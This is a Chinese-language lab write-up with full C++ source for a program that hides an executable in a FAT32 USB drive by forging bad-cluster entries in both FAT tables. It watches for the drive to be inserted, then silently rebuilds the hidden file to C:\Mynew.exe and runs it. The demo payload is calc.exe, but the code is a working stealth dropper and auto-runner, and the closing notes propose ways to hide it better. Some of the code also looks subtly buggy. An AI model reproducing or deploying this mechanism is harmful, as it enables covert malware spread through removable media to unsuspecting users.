一、實驗預期目的及實驗環境
本實驗意實現FAT32結構下的U盤隱寫不被U盤文件系統讀出,主要考察FAT32簡單的結構認識和簡單的代碼能力。
爲了方便實現,目標機環境設爲Winxp sp2,附帶Winhex和VS2010工具包。
二、基礎知識
FAT32整體文件結構如下
本實驗主要需要隱寫文件至Upan處,方法採用修改FAT表、0號1號磁盤信息實現隱寫。
0號磁盤結構中需要注意如下
偏移0BH:扇區字節數 00 02 即0X0200,512字節
偏移0DH:每簇扇區數 08即每簇包括8個扇區
偏移0EH:保留扇區數 24 00即保留36個扇區
偏移10H:FAT表份數 02即兩個FAT表
偏移24H:FAT表佔用扇區數 EE 1D 00 00即FAT表佔7662個扇區
1號磁盤結構中需要注意如下
偏移0x1E8:空閒簇數 4個字節
偏移0x1Ec:下一可用簇號 4個字節
注意這裏存儲的都是小端序!
FAT32結構如下
FAT表項每一項佔4字節,表項的地址編號對應相應的簇序號。
表項的內容如下:
若爲0,該簇未被分配;
若爲0xFFFFFF7,壞簇,內有壞扇區;
若爲0x0FFFFFF,該簇爲文件結束簇;
其它值,爲對應文件的下一簇號
我們這裏處理用0xFFFFFF7僞造壞簇。一般情況下FAT表會有多個(一般是2個,所以還是需要把每個表都改掉)
注意簇位置對應的公式如下!
保留區*扇區大小+(第一個簇標號-2)*每簇大小*512+FAT表個數*扇區大小*FAT表大小
爲什麼中間有個減2呢?原因是FAT中的0、1號簇對應的地方用來存放其他的內容了,所以對應的沒有0、1號簇,最先的簇從2號開始。’
三、實現思路
這裏使用的方法很簡單,甚至很幼稚
1.U盤的檢測用map數組,最開始標記,動態判定一定數量的的磁盤有無變化來檢測
2.U盤中需要存放不連續的簇的位置,我直接寫到了U盤的空白區0x800位置,其實如果藏到FAT表中的隱蔽性會更小,受到的大小限制也更小了(因爲前面的空白區畢竟有限)
3.只是單純爲了驗證效果,寫入U盤,和讀取U盤文件運行都是用的文件的形式,文件用的固定地址
四、代碼
// Upan_killer.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "stdio.h"
#include "stdlib.h"
#include "iostream"
#include "windows.h"
#include "DBT.H"
#include "fstream"
#include "map"
#include "string"
using namespace std;
#define A TEXT("\\\\.\\A:")
#define B TEXT("\\\\.\\B:")
#define C TEXT("\\\\.\\C:")
#define D TEXT("\\\\.\\D:")
#define E TEXT("\\\\.\\E:")
#define F TEXT("\\\\.\\F:")
#define G TEXT("\\\\.\\G:")
#define H TEXT("\\\\.\\H:")
#define I TEXT("\\\\.\\I:")
#define J TEXT("\\\\.\\J:")
char U[3]={0}; //U盤的盤符
int LeftArea,FatSize; //分別是FAT區的保留區大小和FAT表的大小
int FirstCluster; //可以利用的第一個簇號碼
int SectorLeft; //剩餘可利用的空閒簇
int ClusterSize; //簇的大小
int ClusterNeed; //寫入的exe文件所需要的簇數
map<string,int>mmp;
//判斷文件是否被建立
int FileExits(char *FileName)
{
fstream _file;
_file.open(FileName,ios::in);
if(!_file) return 0;
else return 1;
}
//參數分別是文件句柄、數據緩衝區、準備文件讀取的字節數和讀取位置的偏移量
void ReadFileWithSize(HANDLE h,unsigned char* Buffer,DWORD dwBytestoRead,DWORD offset)
{
DWORD dwBytesRead,dwBytesToRead;
OVERLAPPED over = { 0 }; //計算讀取的偏移量
over.Offset = offset;
dwBytesToRead = dwBytestoRead; // 要讀取的字節數
dwBytesRead = 0; // 實際讀取到的字節數
do{ //循環寫文件,確保完整的文件被寫入
ReadFile(h,Buffer,dwBytesToRead,&dwBytesRead,&over);
dwBytesToRead -= dwBytesRead;
Buffer += dwBytesRead;
} while (dwBytesToRead > 0);
}
//參數分別是文件句柄、數據緩衝區、準備文件讀取的字節數和讀取位置的偏移量
void WriteFileWithSize(HANDLE h,unsigned char* Buffer,DWORD dwBytesToWrite,DWORD offset)
{
DWORD dwBytesWrite;
OVERLAPPED over = { 0 }; //計算讀取的偏移量
over.Offset = offset;
dwBytesToWrite = dwBytesToWrite; // 要寫入的字節數
dwBytesWrite = 0; // 實際讀取到的字節數
do{ //循環寫文件,確保完整的文件被寫入
WriteFile(h,Buffer,dwBytesToWrite,&dwBytesWrite,&over);
dwBytesToWrite -= dwBytesWrite;
Buffer += dwBytesWrite;
} while (dwBytesToWrite > 0);
}
//將一串hex值變成int型
int UcharToInt(unsigned char* Buffer,int Len)
{
int answer=0;
for(int i=Len-1;i>=0;i--)
{
answer = answer*256+(int)Buffer[i];
}
return answer;
}
//將一個int型變成小端hex值
void IntToUchar(unsigned char* Buffer,int Len,int value)
{
for(int i=0;i<=Len-1;i++)
{
Buffer[i]=value%256;
value/=256;
}
}
void GetInfoOfUSB(HANDLE h)
{
unsigned char* Buffer = new unsigned char[512 + 1];
ReadFileWithSize(h,Buffer,512,0); //讀取第0磁盤
LeftArea = UcharToInt(Buffer+0xe,2);
FatSize = UcharToInt(Buffer+0x24,4);
ClusterSize=UcharToInt(Buffer+0xd,1);
ReadFileWithSize(h,Buffer,512,512); //讀取第1磁盤
FirstCluster=UcharToInt(Buffer+0x1ec,4);
SectorLeft=UcharToInt(Buffer+0x1e8,4);
//printf("%d %d %d %d %d\n",LeftArea,FatSize,ClusterSize,FirstCluster,SectorLeft);
}
//修改FAT32表
void HandleFATTable(HANDLE h,int ClusterNeed)
{
int HasChnage; //標記讀取的512字節是否經過變動了
unsigned char* Buffer = new unsigned char[512 + 1]; //存放讀取的臨時數據,在改變之後順手存到FAT表中
memset(Buffer,0,sizeof(Buffer));
unsigned char* ClusterDir = new unsigned char[512 + 1]; //存放的簇的位置
memset(ClusterDir,0,sizeof(ClusterDir));
IntToUchar(ClusterDir,4,ClusterNeed);
int HaveTooken=1; //正在尋找簇位置的標號
//int ReadPos=(FirstCluster-2)*8*512+LeftArea*512+FatSize*2*512; //表示讀取扇區的地址,爲什麼減2?因爲Fat表示從2號開始的,0、1號用來記錄一些特殊標誌位了
int ReadPos=LeftArea*512+4*(FirstCluster)/512*512; //爲了保證後面讀取512字符的都是整磁盤大小
int ClusterNow=FirstCluster; //該512字節讀取後的對應簇的號碼,但是這裏不是對齊的,需要下面循環開始的時候矯正一下
int TurnYes=0;
while(HaveTooken<=ClusterNeed)
{
ReadFileWithSize(h,Buffer,512,ReadPos);
HasChnage = 0;
for(int i=0;i<128;i++)
{
if(Buffer[i*4]==0&&Buffer[i*4+1]==0&&Buffer[i*4+2]==0&&Buffer[i*4+3]==0)
{
if(TurnYes==0)
{
ClusterNow-=i;
TurnYes=1;
}
HasChnage =1;
Buffer[i*4]=0xf7;
Buffer[i*4+1]=0xff;
Buffer[i*4+2]=0xff;
Buffer[i*4+3]=0xff;
IntToUchar(ClusterDir+HaveTooken*4,4,ClusterNow+i);
HaveTooken++;
if(HaveTooken>ClusterNeed) break;
}
}
if (HasChnage)
{
WriteFileWithSize(h,Buffer,512,ReadPos); //修改FAT1表
WriteFileWithSize(h,Buffer,512,ReadPos+512*FatSize); //修改FAT2表
FlushFileBuffers(h);
}
if(HaveTooken>ClusterNeed) break;
ClusterNow+=128;
ReadPos+=512;
}
WriteFileWithSize(h,ClusterDir,512,0x800);
FlushFileBuffers(h);
ReadFileWithSize(h,Buffer,512,512); //讀取第1磁盤
IntToUchar(Buffer+0x1e8,4,SectorLeft-ClusterNeed);
unsigned char* tmpvalue = new unsigned char[512 + 1]; //存放的簇的位置
memset(tmpvalue,0,sizeof(tmpvalue));
while(1)
{
int flag=0;
ReadFileWithSize(h,tmpvalue,512,ReadPos);
for(int i=0;i<128;i++)
{
if(tmpvalue[i*4]==0&&tmpvalue[i*4+1]==0&&tmpvalue[i*4+2]==0&&tmpvalue[i*4+3]==0)
{
IntToUchar(Buffer+0x1ec,4,ClusterNow+i);
flag=1;
break;
}
}
if(flag==1)
{
WriteFileWithSize(h,Buffer,512,512);
FlushFileBuffers(h);
break;
}
ClusterNow+=128;
ReadPos+=512;
}
}
//這裏主要進行各種修改和文件的隱寫
void WriteFileInto(HANDLE h)
{
HANDLE pFile;
DWORD fileSize;
pFile = CreateFile(TEXT("C://calc.exe"),GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING, //打開已存在的文件
FILE_FLAG_WRITE_THROUGH ,
NULL);
if (pFile == INVALID_HANDLE_VALUE)
{
cout<<"failed"<<endl;
}
fileSize = GetFileSize(pFile,NULL); //得到文件的大小
ClusterNeed = fileSize/(ClusterSize*512)+(fileSize%(ClusterSize*512));
HandleFATTable(h,ClusterNeed); //修改FAT表等一系列信息
unsigned char* TemValue = new unsigned char[512*ClusterSize + 1]; //存放讀取的臨時數據,在改變之後順手存到FAT表中
memset(TemValue,0,sizeof(TemValue));
unsigned char* Buffer = new unsigned char[512 + 1]; //存放的簇的位置
memset(Buffer,0,sizeof(Buffer));
int ClusterNow; //對應簇的號碼
ReadFileWithSize(h,Buffer,512,0x800);
for(int i=1;i<=ClusterNeed;i++)
{
ClusterNow = UcharToInt(Buffer+i*4,4);
ReadFileWithSize(pFile,TemValue,512*ClusterSize,(i-1)*512*ClusterSize);
WriteFileWithSize(h,TemValue,512*ClusterSize,(ClusterNow-2)*ClusterSize*512+LeftArea*512+FatSize*2*512);
FlushFileBuffers(h);
}
cout<<"成功寫入!"<<endl;
}
//新建填充一個exe,並且執行
void FillTheFile(HANDLE h)
{
if(FileExits("C://Mynew.exe"))
{
remove("C://Mynew.exe");
}
HANDLE pFile = CreateFile(TEXT("C://Mynew.exe"),GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, CREATE_ALWAYS , FILE_FLAG_WRITE_THROUGH, NULL); //創建一個exe等待寫入
unsigned char* Buffer = new unsigned char[512 + 1];
int ClusterNow;
unsigned char* TemValue = new unsigned char[512*ClusterSize + 1];
memset(TemValue,0,sizeof(TemValue));
memset(Buffer,0,sizeof(Buffer));
ReadFileWithSize(h,Buffer,512,0x800);
ClusterNeed = UcharToInt(Buffer,4);
for(int i=1;i<=ClusterNeed;i++)
{
ClusterNow = UcharToInt(Buffer+i*4,4);
ReadFileWithSize(h,TemValue,512*ClusterSize,(ClusterNow-2)*ClusterSize*512+LeftArea*512+FatSize*2*512);
WriteFileWithSize(pFile,TemValue,512*ClusterSize,(i-1)*512*ClusterSize);
FlushFileBuffers(pFile);
}
CloseHandle(pFile);
if(FileExits("C://Mynew.exe"))
{
WinExec("C://Mynew.exe",SW_SHOW);
}
else
{
cout<<"Sometihng Wrong!"<<endl;
}
}
//U盤的發現機制沒有用到什麼WINAPI,直接構造一個map表定期掃描即可
void InitMap()
{
string Disk;
DWORD allDisk = GetLogicalDrives();
for (int i=0;i<16;i++)
{
string Disk="";
if ((allDisk & 1)==1)
{
char Tmp='A'+i;
Disk=Tmp;
Disk+=":";
mmp[Disk]++;
}
allDisk = allDisk>>1;
if(allDisk==0) break;
}
}
//顯示map數據,表示磁盤的鏈接情況
void show_map()
{
map<string,int>::iterator it;
for(it=mmp.begin();it!=mmp.end();it++)
{
cout<<it->first<<" "<<it->second<<endl;
}
}
//子進程來監視掃描磁盤的,10秒一次
DWORD WINAPI FindUPan(PVOID pM)
{
string Disk;
while (true)
{
DWORD allDisk = GetLogicalDrives(); //返回一個32位整數,將他轉換成二進制後,表示磁盤,最低位爲A盤
if (allDisk!=0)
{
show_map();
for (int i=0;i<16;i++) //假定最多有24個磁盤
{
char Tmp='A'+i;
Disk=Tmp;
Disk+=":";
if ((allDisk & 1)==1)
{
if(mmp[Disk]==0)
{
U[0]=Disk[0];U[1]=Disk[1];
mmp[Disk]++;
}
}
else
{
if(mmp[Disk]==1)
{
mmp[Disk]--;
}
}
allDisk = allDisk>>1;
}
}
Sleep(10000);
system("cls");
}
}
HANDLE ChooseAHandle(char u)
{
HANDLE h;
switch(u)
{
case 'A': h = CreateFile(A,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'B': h = CreateFile(B,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'C': h = CreateFile(C,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'D': h = CreateFile(D,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'E': h = CreateFile(E,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'F': h = CreateFile(F,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'G': h = CreateFile(G,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'H': h = CreateFile(H,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'I': h = CreateFile(I,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
case 'J': h = CreateFile(J,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
}
return h;
}
int main()
{
HANDLE h;
unsigned char* buffer = new unsigned char[512 + 1]; // 接收數據用的 buffer
U[0]=0;U[1]=0;U[2]=0;
InitMap();
//show_map();
HANDLE handle = CreateThread(NULL, 0, FindUPan, NULL, 0, NULL);
while(true)
{
if(U[0]!=0) //發現了U盤插入
{
h = ChooseAHandle(U[0]);
if (h == INVALID_HANDLE_VALUE)
{
cout<<"failed"<<endl;
}
GetInfoOfUSB(h);
ReadFileWithSize(h,buffer,512,0x800);
if(buffer[0]==0&&buffer[1]==0&&buffer[2]==0&&buffer[3]==0)
{
WriteFileInto(h);
//FillTheFile(h);
U[0]=0;U[1]=0;
}
else
{
FillTheFile(h);
U[0]=0;U[1]=0;
}
CloseHandle(h);
}
}
CloseHandle(handle);
//system ("pause");
return 0;
}
五、實驗效果
首先檢測U盤的插拔,10秒動態檢測
當出現新的磁盤時候檢測有沒有寫入過,如果寫入過那麼直接讀出文件運行,否則寫入
這裏目標寫入文件是一個192K的calc.exe
磁盤1如下(原來是格式化後的空U盤)
記錄簇的位置,頭四位記錄簇的個數
我們手工計算一下文件應該開始寫入第一簇的地址吧
這裏的數據如下
每簇=8扇區
每扇區=512字節
FAT表2個,每個15326個扇區
第一簇在第3號簇
那麼我們計算的地址如下
實際寫入的數據如下
寫入文件的結尾出在這裏
在padding後面有2個扇區的空白。
我們往U盤中複製一些文件吧
計算一下可以得知,沒有被覆蓋掉!
在插入U盤一會會自動運行clac.exe文件,在C盤的根目錄下生成了一Mynew.exe
六、代碼中的小問題
1.WriteFIle無法及時寫入
有三種解決方法
1。調用FlushFileBuffers(hFile);
2。在用CreateFile創建文件的時候,第6個參數使用標誌FILE_FLAG_WRITE_THROUGH
3。關閉掉句柄
也有可能是你的CreateFile時候參數就沒有可寫選項
2.CreateFile文件時候不能指定磁盤
做了一個列表,用switch函數選擇句柄(這裏10個範圍可能不夠大)
3.如何檢測磁盤
使用GetLogicalDrives()函數,返回一個32位整數,將他轉換成二進制後,表示磁盤,最低位爲A盤。然後定義一個全局變量,如果全局變量變化了說明有新的磁盤。
DWORD WINAPI FindUPan(PVOID pM)
{
string Disk;
while (true)
{
DWORD allDisk = GetLogicalDrives(); //返回一個32位整數,將他轉換成二進制後,表示磁盤,最低位爲A盤
if (allDisk!=0)
{
show_map();
for (int i=0;i<10;i++) //假定最多有10個磁盤
{
char Tmp='A'+i;
Disk=Tmp;
Disk+=":";
if ((allDisk & 1)==1)
{
if(mmp[Disk]==0)
{
U[0]=Disk[0];U[1]=Disk[1];
mmp[Disk]++;
}
}
else
{
if(mmp[Disk]==1)
{
mmp[Disk]--;
}
}
allDisk = allDisk>>1;
}
}
Sleep(10000);
system("cls");
}
}
七、不足與反思
本身就是一個簡單的實驗,也收到時間的限制等等吧。下面講講很多可以改進的地方
1.還是可以用FAT表記錄下一個簇的位置,我們只需要藏好第一個簇的內容就好了,這個或者可以標識U盤特定信息將之存到數據庫中。
2.掃描法得到U盤插拔還是太笨了,本來可以用MFC的插入消息來寫,沒有寫通所以換了簡單的方法。
3.文件可以內嵌到程序中,不用每次從固定位置讀,實際用時候也沒這個條件,創建文件也容易暴露。